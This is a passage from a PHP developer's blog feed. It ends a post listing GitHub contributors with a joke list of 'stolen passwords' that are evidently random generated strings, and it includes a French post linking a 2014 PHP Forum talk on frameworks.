  <li><a href="http://github.com/daveblake">daveblake</a></li>
  <li><a href="http://github.com/deerawan">deerawan</a></li>
  <li><a href="http://github.com/denheck">denheck</a></li>
  <li><a href="http://github.com/DIOHz0r">DIOHz0r</a></li>
  <li><a href="http://github.com/endelwar">endelwar</a></li>
  <li><a href="http://github.com/fonsecas72">fonsecas72</a></li>
  <li><a href="http://github.com/fzaninotto">fzaninotto</a></li>
  <li><a href="http://github.com/gido">gido</a></li>
  <li><a href="http://github.com/gietos">gietos</a></li>
  <li><a href="http://github.com/glagola">glagola</a></li>
  <li><a href="http://github.com/GrahamCampbell">GrahamCampbell</a></li>
  <li><a href="http://github.com/halaxa">halaxa</a></li>
  <li><a href="http://github.com/huy95">huy95</a></li>
  <li><a href="http://github.com/igorsantos07">igorsantos07</a></li>
  <li><a href="http://github.com/ihsanudin">ihsanudin</a></li>
  <li><a href="http://github.com/ikwattro">ikwattro</a></li>
  <li><a href="http://github.com/ivanmirson">ivanmirson</a></li>
  <li><a href="http://github.com/jadb">jadb</a></li>
  <li><a href="http://github.com/JasonMortonNZ">JasonMortonNZ</a></li>
  <li><a href="http://github.com/JeroenDeDauw">JeroenDeDauw</a></li>
  <li><a href="http://github.com/JonathanKryza">JonathanKryza</a></li>
  <li><a href="http://github.com/julien">julien</a></li>
  <li><a href="http://github.com/killerog">killerog</a></li>
  <li><a href="http://github.com/kix">kix</a></li>
  <li><a href="http://github.com/kletellier">kletellier</a></li>
  <li><a href="http://github.com/kumamidori">kumamidori</a></li>
  <li><a href="http://github.com/lintaba">lintaba</a></li>
  <li><a href="http://github.com/Lisso">Lisso</a></li>
  <li><a href="http://github.com/lperto">lperto</a></li>
  <li><a href="http://github.com/MatissJanis">MatissJanis</a></li>
  <li><a href="http://github.com/miclf">miclf</a></li>
  <li><a href="http://github.com/mikehaertl">mikehaertl</a></li>
  <li><a href="http://github.com/nazar">nazar</a></li>
  <li><a href="http://github.com/netcarver">netcarver</a></li>
  <li><a href="http://github.com/pauledenburg">pauledenburg</a></li>
  <li><a href="http://github.com/paulvalla">paulvalla</a></li>
  <li><a href="http://github.com/pearlc">pearlc</a></li>
  <li><a href="http://github.com/phaza">phaza</a></li>
  <li><a href="http://github.com/philsturgeon">philsturgeon</a></li>
  <li><a href="http://github.com/piotrantosik">piotrantosik</a></li>
  <li><a href="http://github.com/Ragazzo">Ragazzo</a></li>
  <li><a href="http://github.com/ronanguilloux">ronanguilloux</a></li>
  <li><a href="http://github.com/schmengler">schmengler</a></li>
  <li><a href="http://github.com/semanser">semanser</a></li>
  <li><a href="http://github.com/SpaceK33z">SpaceK33z</a></li>
  <li><a href="http://github.com/stelgenhof">stelgenhof</a></li>
  <li><a href="http://github.com/stof">stof</a></li>
  <li><a href="http://github.com/stoutZero">stoutZero</a></li>
  <li><a href="http://github.com/svrnm">svrnm</a></li>
  <li><a href="http://github.com/swekaj">swekaj</a></li>
  <li><a href="http://github.com/terion">terion</a></li>
  <li><a href="http://github.com/tharoldD">tharoldD</a></li>
  <li><a href="http://github.com/TimWolla">TimWolla</a></li>
  <li><a href="http://github.com/TomasVotruba">TomasVotruba</a></li>
  <li><a href="http://github.com/TomK">TomK</a></li>
  <li><a href="http://github.com/totophe">totophe</a></li>
  <li><a href="http://github.com/tzhuan">tzhuan</a></li>
  <li><a href="http://github.com/ulrikjohansson">ulrikjohansson</a></li>
  <li><a href="http://github.com/wizardjedi">wizardjedi</a></li>
  <li><a href="http://github.com/YerlenZhubangaliyev">YerlenZhubangaliyev</a></li>
  <li><a href="http://github.com/ysramirez">ysramirez</a></li>
  <li><a href="http://github.com/ZAYEC77">ZAYEC77</a></li>
  <li><a href="http://github.com/zoli">zoli</a></li>
  <li><a href="http://github.com/zrashwani">zrashwani</a></li>
</ul>

<h2 id="a-final-password">A Final (Pass)Word</h2>

<p>I recently received a file containing over 10,000,000 stolen passwords, leaked from a famous gaming network. Please check on the following list if your own password hasn’t been compromised:</p>

<ul>
  <li>fx’W+XB”V=</li>
  <li>[aYIf~</li>
  <li>5&gt;i6M[!]</li>
  <li>zzu”O`9”=$&gt;_7@P+J\8=</li>
  <li>yJ7H/}w059N=)4QR</li>
  <li>
    <table>
      <tbody>
        <tr>
          <td>i0K\3IL)gN`H=</td>
          <td>In$k</td>
        </tr>
      </tbody>
    </table>
  </li>
  <li>oUb:OK&gt;u}/XK[LQ</li>
  <li>
    <table>
      <tbody>
        <tr>
          <td>uZ3~]OB6I`hfDohm’0</td>
        </tr>
      </tbody>
    </table>
  </li>
  <li>_IZGRz7vCGdD$9*zKv/</li>
  <li>v2wgLZu}HN4o&gt;?&gt;K-</li>
  <li>‘=cvDQ/</li>
  <li>
    <table>
      <tbody>
        <tr>
          <td>X&gt;4/9A~=?#rGIdWG</td>
          <td>1,”</td>
        </tr>
      </tbody>
    </table>
  </li>
  <li>
    <table>
      <tbody>
        <tr>
          <td>Qf}6k</td>
          <td>$&lt;QN</td>
        </tr>
      </tbody>
    </table>
  </li>
  <li>bI=mYH’b94qn8.</li>
  <li>B.{q&amp;xjE=A</li>
  <li>password</li>
  <li>%(^o1j4/</li>
  <li>`k(O$XufMs</li>
  <li>Gmb\6b</li>
  <li>&lt;H;F3^;lvp-IaXq.}F[</li>
  <li>Sjkuv-</li>
  <li>QEf_11//;&amp;y</li>
  <li>@4llOmdrd*Q9fknMJZU</li>
  <li>CEp`N9k6;’)(hF((.GS</li>
  <li>1Sfsg6</li>
  <li>COq/T9\C(&amp;4L?Y8bAO</li>
  <li>ta{G44uJ1JHX</li>
  <li>q,&lt;:9f{+nP</li>
  <li>GgOjX6{uMK$&amp;1a+6O)</li>
  <li>PAR8kW#&gt;_s`!</li>
  <li>0@[w:RTD~8pHf</li>
  <li>,w”w{&amp;}3f?0/adL[</li>
</ul>

<p>Happy faking!</p>

    ]]>
   </content>
 </entry>
 
 <entry>
   <title>[Video][Fr] Frameworks: A History of Violence</title>
   <link href="http://www.redotheweb.com/2014/11/05/frameworks-a-history-of-violence.html"/>
   <updated>2014-11-05T00:00:00+00:00</updated>
   <id>http://www.redotheweb.com/2014/11/05/frameworks-a-history-of-violence</id>
   <summary>Choisir un framework n'est pas une chose facile. Mais si la politique s'en mêle, alors là... Voici la vidéo de ma conférence au forum PHP 2014.</summary>
   <content type="html">
    <![CDATA[
    <p>Le 24 octobre dernier, au cours du <a href="http://www.afup.org/pages/forumphp2014/sessions.php">Forum PHP 2014</a>, j’ai eu le plaisir de donner une conférence sur le thème de l’architecture des applications web, du choix des frameworks, et de l’influence de la politique sur la vie des développeurs. En voici la vidéo en intégralité (38 minutes).</p>

<iframe width="560" height="315" src="//www.youtube.com/embed/ep3Oztvy0rk" frameborder="0" allowfullscreen=""></iframe>

<p>Et voici le support de la présentation :</p>

<iframe src="//www.slideshare.net/slideshow/embed_code/40692737" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;" allowfullscreen=""> </iframe>

<p>Si vous êtes d’accord, si vous n’êtes pas d’accord, si vous voulez adhérer, réagissez ! en postant un commentaire ci-dessous, ou <a href="https://joind.in/talk/view/11955">sur joind.in</a>.</p>

<p>Vive la Parti de l’Innovation !</p>

<p><img src="/images/francois_president_large.jpg" style="width:100%" /></p>

    ]]>
   </content>
 </entry>
 

</feed>
